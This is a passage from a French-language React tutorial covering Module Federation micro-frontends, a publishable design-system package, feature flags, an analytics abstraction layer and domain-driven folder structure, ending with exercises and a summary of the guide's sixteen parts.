      '@typescript-eslint/no-unused-vars':               ['error', { argsIgnorePattern: '^_' }],
      'react-hooks/exhaustive-deps':                     'error',
      'jsx-a11y/no-autofocus':                           'off',
    },
    ignorePatterns: ['dist', 'node_modules', 'coverage', '*.config.*'],
  };

  // apps/web/.eslintrc.js
  module.exports = {
    extends: ['@taskflow/config-eslint/react'],
    // Règles spécifiques à l'app web...
  };


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 103 : MODULE FEDERATION — MICRO-FRONTENDS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
103.1 — QU'EST-CE QU'UN MICRO-FRONTEND ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Comme les microservices côté backend, les micro-frontends décomposent
l'UI en applications indépendantes déployables séparément.

  ARCHITECTURE MONOLITHIQUE :
    Une seule app React -> tout est couplé -> déploiement global

  ARCHITECTURE MICRO-FRONTENDS :
    Shell App (orchestrateur)
    ├── TasksApp   (équipe Tâches — déployée indépendamment)
    ├── TeamApp    (équipe RH — déployée indépendamment)
    ├── ReportsApp (équipe Analytics — déployée indépendamment)
    └── AdminApp   (équipe Admin — déployée indépendamment)

  QUAND UTILISER LES MICRO-FRONTENDS ?
    [OK] Très grande équipe (5+ équipes frontend indépendantes)
    [OK] Besoin de déploiements indépendants par domaine
    [OK] Technologies différentes par équipe (React + Vue + Angular)
    [X] Petites équipes (< 5 devs) -> trop de complexité
    [X] Apps simples -> surengineering

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
103.2 — MODULE FEDERATION AVEC VITE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install @originjs/vite-plugin-federation

  // apps/tasks-mf/vite.config.ts (MODULE REMOTE)
  import { defineConfig } from 'vite';
  import react      from '@vitejs/plugin-react';
  import federation from '@originjs/vite-plugin-federation';

  export default defineConfig({
    plugins: [
      react(),
      federation({
        name:     'tasksMF',           // Nom du module remote
        filename: 'remoteEntry.js',   // Fichier d'entrée
        exposes: {
          // Composants exposés à l'app shell :
          './TasksPage':   './src/pages/TasksPage/TasksPage',
          './TaskWidget':  './src/components/TaskWidget/TaskWidget',
          './taskStore':   './src/store/tasks.store',
        },
        shared: ['react', 'react-dom', 'react-router-dom'],
        // ^ Partager les dépendances communes pour éviter les doublons
      }),
    ],
    build: {
      modulePreload: false,
      target:        'esnext',
      minify:        false,
      cssCodeSplit:  false,
    },
  });

  // apps/shell/vite.config.ts (APP SHELL - HOST)
  export default defineConfig({
    plugins: [
      react(),
      federation({
        name:    'shell',
        remotes: {
          // URLs des modules remote :
          tasksMF:   'http://localhost:5001/assets/remoteEntry.js',
          teamMF:    'http://localhost:5002/assets/remoteEntry.js',
          reportsMF: 'http://localhost:5003/assets/remoteEntry.js',
        },
        shared: ['react', 'react-dom', 'react-router-dom'],
      }),
    ],
  });

  // apps/shell/src/App.tsx — Chargement lazy des modules remote
  import { lazy, Suspense } from 'react';
  import { Routes, Route }  from 'react-router-dom';

  // Lazy import depuis les remotes :
  const TasksPage  = lazy(() => import('tasksMF/TasksPage'));
  const TeamPage   = lazy(() => import('teamMF/TeamPage'));
  const ReportsPage = lazy(() => import('reportsMF/ReportsPage'));

  function App() {
    return (
      <Routes>
        <Route path="/" element={<Navigate to="/dashboard" />} />
        <Route
          path="/tasks/*"
          element={
            <Suspense fallback={<PageLoader />}>
              <TasksPage />
            </Suspense>
          }
        />
        <Route
          path="/team/*"
          element={
            <Suspense fallback={<PageLoader />}>
              <TeamPage />
            </Suspense>
          }
        />
      </Routes>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
103.3 — COMMUNICATION ENTRE MICRO-FRONTENDS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // 1. Custom Events (navigateur) :
  // Remote émet :
  window.dispatchEvent(new CustomEvent('taskflow:task-created', {
    detail: { task: newTask }
  }));

  // Shell reçoit :
  useEffect(() => {
    const handler = (e: CustomEvent) => {
      console.log('Task created:', e.detail.task);
      queryClient.invalidateQueries({ queryKey: ['tasks'] });
    };
    window.addEventListener('taskflow:task-created', handler as EventListener);
    return () => window.removeEventListener('taskflow:task-created', handler as EventListener);
  }, []);

  // 2. Shared State Store (Zustand partagé via window) :
  // Exposer le store dans l'app shell :
  import { useTasksStore } from 'tasksMF/taskStore';
  // Les remotes partagent le même store via shared: ['zustand']

  // 3. URL comme source de vérité :
  // Utiliser les query params et le path pour partager l'état entre apps.
  // C'est la méthode la plus découplée.


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 104 : DESIGN SYSTEM DISTRIBUÉ
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
104.1 — PUBLIER LE DESIGN SYSTEM SUR NPM
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // packages/ui/package.json
  {
    "name":      "@taskflow/ui",
    "version":   "1.0.0",
    "description": "TaskFlow Design System",
    "main":      "./dist/index.js",
    "module":    "./dist/index.mjs",
    "types":     "./dist/index.d.ts",
    "exports": {
      ".": {
        "import":  "./dist/index.mjs",
        "require": "./dist/index.js",
        "types":   "./dist/index.d.ts"
      },
      "./styles": "./dist/styles.css"
    },
    "files":     ["dist"],
    "sideEffects": ["**/*.css"],
    "peerDependencies": {
      "react":     ">=18",
      "react-dom": ">=18"
    },
    "devDependencies": {
      "vite":                  "^5",
      "@vitejs/plugin-react":  "^4",
      "typescript":            "^5",
      "vite-plugin-dts":       "^3"
    },
    "scripts": {
      "build":   "vite build",
      "dev":     "vite build --watch",
      "test":    "vitest",
      "storybook": "storybook dev"
    }
  }

  // packages/ui/vite.config.ts — Configuration de bibliothèque
  import { defineConfig } from 'vite';
  import react    from '@vitejs/plugin-react';
  import dts      from 'vite-plugin-dts';
  import { resolve } from 'path';

  export default defineConfig({
    plugins: [
      react(),
      dts({
        insertTypesEntry: true,
        include:          ['src/**/*.{ts,tsx}'],
        exclude:          ['src/**/*.stories.tsx', 'src/**/*.test.tsx'],
      }),
    ],
    build: {
      lib: {
        entry:    resolve(__dirname, 'src/index.ts'),
        name:     'TaskFlowUI',
        formats:  ['es', 'cjs'],
        fileName: (format) => `index.${format === 'es' ? 'mjs' : 'js'}`,
      },
      rollupOptions: {
        // Externaliser les peer dependencies :
        external:  ['react', 'react-dom', 'react/jsx-runtime'],
        output: {
          globals: {
            react:             'React',
            'react-dom':       'ReactDOM',
            'react/jsx-runtime': 'ReactJSXRuntime',
          },
        },
      },
      cssCodeSplit: false,  // Un seul fichier CSS
    },
  });

  // packages/ui/src/index.ts — Point d'entrée public
  export { default as Button }       from './components/Button/Button';
  export { default as Input }        from './components/Input/Input';
  export { default as Badge }        from './components/Badge/Badge';
  export { default as Avatar }       from './components/Avatar/Avatar';
  export { default as Card }         from './components/Card/Card';
  export { default as Modal }        from './components/Modal/Modal';
  export { default as Spinner }      from './components/Spinner/Spinner';
  export { default as EmptyState }   from './components/EmptyState/EmptyState';
  export { default as Toast }        from './components/Toast/Toast';

  // Types exportés :
  export type { ButtonProps }        from './components/Button/Button';
  export type { InputProps }         from './components/Input/Input';

  // Styles (à importer séparément) :
  // import '@taskflow/ui/styles';  dans les apps consommatrices


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 105 : FEATURE FLAGS ET EXPÉRIMENTATION
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
105.1 — FEATURE FLAGS — DÉPLOIEMENT PROGRESSIF
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les feature flags permettent de déployer du code désactivé,
puis de l'activer progressivement (% d'utilisateurs, rôle, région...).

  USAGES :
    • Canary releases (5% des users voient la nouvelle feature)
    • A/B testing (50/50 pour mesurer l'impact)
    • Rollback rapide sans redéploiement
    • Features par rôle/plan (premium features)
    • Tests en production (dark launch)

  PROVIDERS :
    LaunchDarkly — le plus complet (payant)
    GrowthBook   — open source
    Flagsmith    — open source + cloud
    Unleash      — open source
    Vercel Edge Config — simple, gratuit

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
105.2 — IMPLÉMENTATION SIMPLE EN REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/lib/featureFlags.ts
  type FeatureFlag =
    | 'NEW_TASK_FORM'
    | 'KANBAN_VIEW'
    | 'AI_SUGGESTIONS'
    | 'BULK_ACTIONS'
    | 'ADVANCED_REPORTS';

  interface FlagConfig {
    enabled:     boolean;
    rollout?:    number;      // % d'utilisateurs (0-100)
    allowedRoles?: string[];  // Rôles autorisés
    allowedUsers?: number[];  // User IDs spécifiques
  }

  // Simuler la config depuis une API/CDN :
  const FLAGS: Record<FeatureFlag, FlagConfig> = {
    NEW_TASK_FORM:    { enabled: true },
    KANBAN_VIEW:      { enabled: true, rollout: 20 },     // 20% des users
    AI_SUGGESTIONS:   { enabled: true, allowedRoles: ['admin', 'manager'] },
    BULK_ACTIONS:     { enabled: false },                  // Désactivé
    ADVANCED_REPORTS: { enabled: true, allowedUsers: [1, 2, 3] },  // Beta testers
  };

  // src/contexts/FlagsContext.tsx
  import { createContext, useContext, useMemo } from 'react';
  import { useAuth } from './AuthContext';

  interface FlagsContextValue {
    isEnabled: (flag: FeatureFlag) => boolean;
    getAllFlags: () => Record<FeatureFlag, boolean>;
  }

  const FlagsContext = createContext<FlagsContextValue | null>(null);

  export function FlagsProvider({ children }: { children: React.ReactNode }) {
    const { user } = useAuth();

    const isEnabled = useMemo(() => (flag: FeatureFlag): boolean => {
      const config = FLAGS[flag];
      if (!config.enabled) return false;

      // Vérifier les rôles :
      if (config.allowedRoles && user) {
        if (!config.allowedRoles.includes(user.role)) return false;
      }

      // Vérifier les users spécifiques :
      if (config.allowedUsers && user) {
        if (!config.allowedUsers.includes(user.id)) return false;
      }

      // Rollout progressif basé sur l'user ID (déterministe) :
      if (config.rollout !== undefined && user) {
        const bucket = user.id % 100;  // 0-99
        return bucket < config.rollout;
      }

      return true;
    }, [user]);

    const getAllFlags = useMemo(() => (): Record<FeatureFlag, boolean> => {
      return Object.keys(FLAGS).reduce((acc, key) => {
        return { ...acc, [key]: isEnabled(key as FeatureFlag) };
      }, {} as Record<FeatureFlag, boolean>);
    }, [isEnabled]);

    return (
      <FlagsContext.Provider value={{ isEnabled, getAllFlags }}>
        {children}
      </FlagsContext.Provider>
    );
  }

  export function useFlags() {
    const ctx = useContext(FlagsContext);
    if (!ctx) throw new Error('useFlags must be used within FlagsProvider');
    return ctx;
  }

  export function useFlag(flag: FeatureFlag): boolean {
    const { isEnabled } = useFlags();
    return isEnabled(flag);
  }

  // Utilisation dans les composants :
  function TasksPage() {
    const showKanban  = useFlag('KANBAN_VIEW');
    const showBulk    = useFlag('BULK_ACTIONS');
    const showAI      = useFlag('AI_SUGGESTIONS');

    return (
      <div>
        {showKanban && (
          <button onClick={toggleView}>Vue Kanban</button>
        )}
        {showBulk && (
          <BulkActionsToolbar selectedTasks={selected} />
        )}
        {showAI && (
          <AISuggestionsPanel />
        )}
      </div>
    );
  }

  // Composant helper Feature :
  function Feature({ flag, children, fallback = null }: {
    flag:      FeatureFlag;
    children:  React.ReactNode;
    fallback?: React.ReactNode;
  }) {
    const isEnabled = useFlag(flag);
    return <>{isEnabled ? children : fallback}</>;
  }

  // Utilisation avec le composant Feature :
  <Feature flag="KANBAN_VIEW">
    <KanbanBoard />
  </Feature>

  <Feature flag="AI_SUGGESTIONS" fallback={<StandardSearch />}>
    <AIEnhancedSearch />
  </Feature>


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 106 : ANALYTICS ET TRACKING DANS REACT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
106.1 — COUCHE D'ABSTRACTION ANALYTICS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/lib/analytics.ts — Couche d'abstraction (provider-agnostic)
  type EventName =
    | 'page_view'
    | 'task_created'
    | 'task_completed'
    | 'task_deleted'
    | 'user_login'
    | 'user_logout'
    | 'feature_used'
    | 'error_occurred'
    | 'search_performed';

  type EventProperties = Record<string, string | number | boolean | null>;

  interface AnalyticsProvider {
    track:   (event: EventName, props?: EventProperties) => void;
    page:    (name: string, props?: EventProperties) => void;
    identify:(userId: string, traits?: EventProperties) => void;
    reset:   () => void;
  }

  // Provider Amplitude :
  const amplitudeProvider: AnalyticsProvider = {
    track: (event, props) => {
      if (window.amplitude) {
        window.amplitude.logEvent(event, props);
      }
    },
    page: (name, props) => {
      if (window.amplitude) {
        window.amplitude.logEvent('page_view', { page: name, ...props });
      }
    },
    identify: (userId, traits) => {
      if (window.amplitude) {
        window.amplitude.setUserId(userId);
        if (traits) window.amplitude.identify(new window.amplitude.Identify()
          .set('role', traits.role as string));
      }
    },
    reset: () => window.amplitude?.setUserId(null),
  };

  // Provider de dev (logs uniquement) :
  const devProvider: AnalyticsProvider = {
    track:    (e, p) => console.debug('[Analytics] track:', e, p),
    page:     (n, p) => console.debug('[Analytics] page:', n, p),
    identify: (id, t) => console.debug('[Analytics] identify:', id, t),
    reset:    () => console.debug('[Analytics] reset'),
  };

  // Provider actif selon l'environnement :
  const provider: AnalyticsProvider =
    import.meta.env.PROD ? amplitudeProvider : devProvider;

  export const analytics = {
    track:    provider.track.bind(provider),
    page:     provider.page.bind(provider),
    identify: provider.identify.bind(provider),
    reset:    provider.reset.bind(provider),
  };

  // src/hooks/useAnalytics.ts
  import { useCallback } from 'react';
  import { analytics } from '@/lib/analytics';

  function useAnalytics() {
    const trackTaskCreated = useCallback((task: { title: string; priority: string }) => {
      analytics.track('task_created', {
        task_priority: task.priority,
        title_length:  task.title.length,
      });
    }, []);

    const trackTaskCompleted = useCallback((taskId: number) => {
      analytics.track('task_completed', { task_id: taskId });
    }, []);

    const trackSearch = useCallback((query: string, resultsCount: number) => {
      analytics.track('search_performed', {
        query_length:   query.length,
        results_count:  resultsCount,
        has_results:    resultsCount > 0,
      });
    }, []);

    return { trackTaskCreated, trackTaskCompleted, trackSearch };
  }

  export default useAnalytics;

  // Hook usePageTracking — tracking automatique des pages :
  function usePageTracking() {
    const location = useLocation();

    useEffect(() => {
      const pageName = location.pathname
        .replace(/\/\d+/g, '/:id')  // Anonymiser les IDs
        .replace(/^\//, '')
        || 'home';

      analytics.page(pageName, {
        path:   location.pathname,
        search: location.search,
      });
    }, [location]);
  }

  // Utiliser dans App.tsx :
  function App() {
    usePageTracking();
    return <Routes>...</Routes>;
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 107 : ARCHITECTURE DDD POUR REACT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
107.1 — DOMAIN-DRIVEN DESIGN ADAPTÉ AU FRONTEND
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

DDD (Domain-Driven Design) organise le code autour des domaines métier,
pas autour des couches techniques (UI, API, state...).

  ORGANISATION TECHNIQUE (classique) :
    src/
    ├── components/   <- TOUS les composants
    ├── hooks/        <- TOUS les hooks
    ├── api/          <- TOUS les appels API
    └── store/        <- TOUT le state

  ORGANISATION PAR DOMAINE (DDD) :
    src/
    ├── domains/
    │   ├── tasks/              <- Domaine "Tâches"
    │   │   ├── components/     <- TaskCard, TaskList, TaskForm
    │   │   ├── hooks/          <- useTasks, useTask, useTaskFilters
    │   │   ├── api/            <- tasks.api.ts
    │   │   ├── store/          <- tasks.store.ts
    │   │   ├── types/          <- task.types.ts
    │   │   ├── utils/          <- task.utils.ts
    │   │   ├── schemas/        <- task.schema.ts
    │   │   └── index.ts        <- Public API du domaine
    │   ├── auth/               <- Domaine "Authentification"
    │   │   ├── components/     <- LoginForm, RegisterForm, PrivateRoute
    │   │   ├── hooks/          <- useAuth, useSession
    │   │   ├── api/            <- auth.api.ts
    │   │   ├── store/          <- auth.store.ts
    │   │   └── index.ts
    │   ├── team/               <- Domaine "Équipe"
    │   └── notifications/      <- Domaine "Notifications"
    ├── shared/                 <- Code partagé entre domaines
    │   ├── components/         <- Design system (Button, Input...)
    │   ├── hooks/              <- useDebounce, useLocalStorage...
    │   └── utils/              <- Fonctions génériques
    └── pages/                  <- Assemblage des domaines

  // domains/tasks/index.ts — API publique du domaine (encapsulation)
  // Exporter SEULEMENT ce qui est utilisé par d'autres domaines ou les pages :
  export { default as TaskCard }     from './components/TaskCard/TaskCard';
  export { default as TaskList }     from './components/TaskList/TaskList';
  export { default as TaskForm }     from './components/TaskForm/TaskForm';
  export { default as useTasks }     from './hooks/useTasks';
  export { default as useTask }      from './hooks/useTask';
  export { default as useTaskFilters } from './hooks/useTaskFilters';
  export type { Task, CreateTaskDTO } from './types/task.types';
  export { taskSchema, type TaskFormValues } from './schemas/task.schema';

  // RÈGLE : Les domaines NE DOIVENT PAS importer l'un l'autre directement.
  // Communication via events, state partagé, ou la couche pages.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
107.2 — RÈGLES D'ARCHITECTURE ENFORÇÉES PAR ESLINT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install eslint-plugin-boundaries eslint-import-resolver-typescript

  // .eslintrc.js
  module.exports = {
    plugins: ['boundaries'],
    settings: {
      'boundaries/elements': [
        { type: 'domain',  pattern: 'src/domains/*' },
        { type: 'shared',  pattern: 'src/shared/*' },
        { type: 'pages',   pattern: 'src/pages/*' },
      ],
    },
    rules: {
      // Les domaines ne peuvent importer que depuis shared :
      'boundaries/element-types': ['error', {
        default: 'disallow',
        rules: [
          { from: 'domain', allow: ['shared'] },
          { from: 'pages',  allow: ['domain', 'shared'] },
          { from: 'shared', allow: [] },  // shared n'importe rien des autres
        ],
      }],
    },
  };

  // Maintenant, un import interdit est une erreur ESLint :
  // domains/tasks/components/TaskCard.tsx :
  import { useAuth } from '../../auth/hooks/useAuth';  // [X] ESLint error !
  // Les domaines ne peuvent pas importer d'autres domaines directement.
  // Solution : passer l'info via props ou un context partagé.


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 16
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-16.1 : Créer le monorepo TaskFlow avec pnpm et Turborepo.
            Configurer les workspaces (apps/web, packages/types, packages/utils).

  EX-16.2 : Package @taskflow/types avec Task, User, Priority, Status.
            Utiliser dans apps/web avec "workspace:*".

  EX-16.3 : Implémenter useFlag et le composant Feature.
            Tester avec 3 flags (KANBAN_VIEW, BULK_ACTIONS, AI_SUGGESTIONS).

NIVEAU INTERMÉDIAIRE :
  EX-16.4 : Package @taskflow/ui avec Button, Input, Badge compilé avec vite.
            Consommer dans apps/web sans duplication.

  EX-16.5 : Couche analytics avec usePageTracking.
            Loguer chaque changement de route et chaque création de tâche.

  EX-16.6 : Réorganiser TaskFlow selon l'architecture DDD :
            domains/tasks/, domains/auth/, shared/components/.

NIVEAU AVANCÉ :
  EX-16.7 : Module Federation : TasksApp (remote) + Shell (host).
            TasksPage chargée depuis le remote via lazy import.

  EX-16.8 : Remote cache Turborepo avec Vercel.
            Mesurer le gain de temps entre un premier build et un build avec cache.

  EX-16.9 : Feature Flags avec GrowthBook (open source).
            A/B test entre 2 versions du formulaire de création de tâche.
            Mesurer le taux de complétion par variante.


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 16
════════════════════════════════════════════════════════════════════════════════

  [OK] Monorepo : un repo, tous les projets — partage de code natif
  [OK] pnpm workspaces : gestion des dépendances inter-packages
  [OK] Turborepo : build parallèle, cache intelligent, pipelines
  [OK] turbo.json : dependsOn, inputs, outputs, remoteCache
  [OK] Packages partagés : @taskflow/types, @taskflow/utils, @taskflow/ui
  [OK] Config partagée : @taskflow/config-ts, @taskflow/config-eslint
  [OK] Module Federation : micro-frontends avec Vite et @originjs
  [OK] Communication MF : Custom Events, Shared Store, URL state
  [OK] Design System distribué : build lib Vite, exports ESM+CJS+types
  [OK] Feature Flags : rollout progressif, canary, A/B testing
  [OK] Analytics : couche d'abstraction provider-agnostic, usePageTracking
  [OK] DDD : organisation par domaine, encapsulation via index.ts
  [OK] Boundaries ESLint : enforcement des règles architecturales

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN DU GUIDE — TOUTES LES PARTIES GÉNÉRÉES
================================================================================

RÉSUMÉ FINAL DU REACT MASTER GUIDE — 16 PARTIES
════════════════════════════════════════════════════════════════════════════════

PARTIE  1 -> Fondations Web (HTML, CSS, JS, ES6+, DOM, Promises)
PARTIE  2 -> Introduction React (Vite, composants, JSX, TaskFlow v1)
PARTIE  3 -> Props, State, useState, Événements, CRUD basique
PARTIE  4 -> useEffect, Cycle de vie, useMemo, useCallback, Custom Hooks
PARTIE  5 -> React Router, Axios, Context API, Zustand, React Query
PARTIE  6 -> Formulaires avancés (RHF+Zod), Design System, A11y, Animations
PARTIE  7 -> Performance, Tests Vitest+RTL, Architecture, CI/CD
PARTIE  8 -> TypeScript complet (types, generics, composants, hooks, API)
PARTIE  9 -> Next.js 14 (App Router, Server Components, Server Actions, SSR)
PARTIE 10 -> Patterns avancés, Storybook, E2E Playwright, WebSockets, Sentry
PARTIE 11 -> GraphQL + Apollo Client (queries, mutations, subscriptions, cache)
PARTIE 12 -> React Native / Expo (navigation, StyleSheet, fonctionnalités native)
PARTIE 13 -> Sécurité (XSS, CSRF, JWT, OAuth2+PKCE, CSP, audit npm)
PARTIE 14 -> Tests avancés (TDD, MSW, hooks, performance, a11y, CI Pipeline)
PARTIE 15 -> I18n + L10n (react-i18next, Intl, RTL) + PWA (Service Workers)
PARTIE 16 -> Monorepo Turborepo, Module Federation, DDD, Feature Flags, Analytics

TOTAL : ~1 000 Ko de contenu | ~20 000 lignes | 107 chapitres
        De zéro à l'architecture enterprise — React au niveau expert [OK]
================================================================================